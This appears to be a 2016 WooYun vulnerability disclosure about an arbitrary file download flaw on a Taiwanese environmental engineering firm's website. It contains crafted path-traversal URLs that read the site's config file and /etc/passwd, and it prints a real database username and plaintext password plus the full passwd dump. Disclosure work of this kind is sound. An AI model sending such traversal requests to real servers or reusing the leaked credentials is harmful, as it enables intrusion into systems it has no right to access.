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缺陷编号:wooyun-2016-0169042

漏洞标题:中宇環保工程股份有限公司設計缺陷任意文件下載(臺灣地區)

相关厂商:中宇環保工程股份有限公司

漏洞作者: 路人甲

提交时间:2016-01-11 11:04

修复时间:2016-02-22 16:48

公开时间:2016-02-22 16:48

漏洞类型:设计缺陷/逻辑错误

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(Hitcon台湾互联网漏洞报告平台)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

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漏洞详情

披露状态:

2016-01-11: 细节已通知厂商并且等待厂商处理中
2016-01-12: 厂商已经确认,细节仅向厂商公开
2016-01-22: 细节向核心白帽子及相关领域专家公开
2016-02-01: 细节向普通白帽子公开
2016-02-11: 细节向实习白帽子公开
2016-02-22: 细节向公众公开

简要描述:

rt

详细说明:

目标:http://**.**.**.**
构造,

http://**.**.**.**/index.php?prog=download_file&file_link=./index.php&file_name=index.php


1.png


配置文件

http://**.**.**.**/index.php?prog=download_file&file_link=./include/config.inc.php&file_name=config.inc.php


config.inc.php中

if( $LIYI_ENV ){
$dbc = array(
'_host' => 'annie',
'_table' => 'cec',
'_user' => 'cec',
'_passwd' => '85213cec',
'_port' => '3306'
);
}else{
$dbc = array(
'_host' => 'localhost',
'_table' => 'cec',
'_user' => 'cec',
'_passwd' => '85213cec',
'_port' => '3306'
);
}


构造,

http://**.**.**.**/index.php?prog=download_file&file_link=./../../../etc/passwd&file_name=passwd


passwd中

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
oprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
avahi:x:70:70:Avahi daemon:/:/sbin/nologin
hsqldb:x:96:96::/var/lib/hsqldb:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
avahi-autoipd:x:100:104:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
gdm:x:42:42::/var/gdm:/sbin/nologin
sabayon:x:86:86:Sabayon user:/home/sabayon:/sbin/nologin
jshuang:x:500:500::/home/jshuang:/bin/bash
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
liyi:x:501:501::/home/liyi:/bin/bash
cclake:x:502:502::/var/www/web2/cclake:/bin/bash
twclwtp:x:503:503::/var/www/web2/TWCLWTP:/bin/bash

漏洞证明:

1.png


passwd中

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
oprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
avahi:x:70:70:Avahi daemon:/:/sbin/nologin
hsqldb:x:96:96::/var/lib/hsqldb:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
avahi-autoipd:x:100:104:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
gdm:x:42:42::/var/gdm:/sbin/nologin
sabayon:x:86:86:Sabayon user:/home/sabayon:/sbin/nologin
jshuang:x:500:500::/home/jshuang:/bin/bash
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
liyi:x:501:501::/home/liyi:/bin/bash
cclake:x:502:502::/var/www/web2/cclake:/bin/bash
twclwtp:x:503:503::/var/www/web2/TWCLWTP:/bin/bash

修复方案:

..

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:17

确认时间:2016-01-12 01:33

厂商回复:

感謝通報

最新状态:

暂无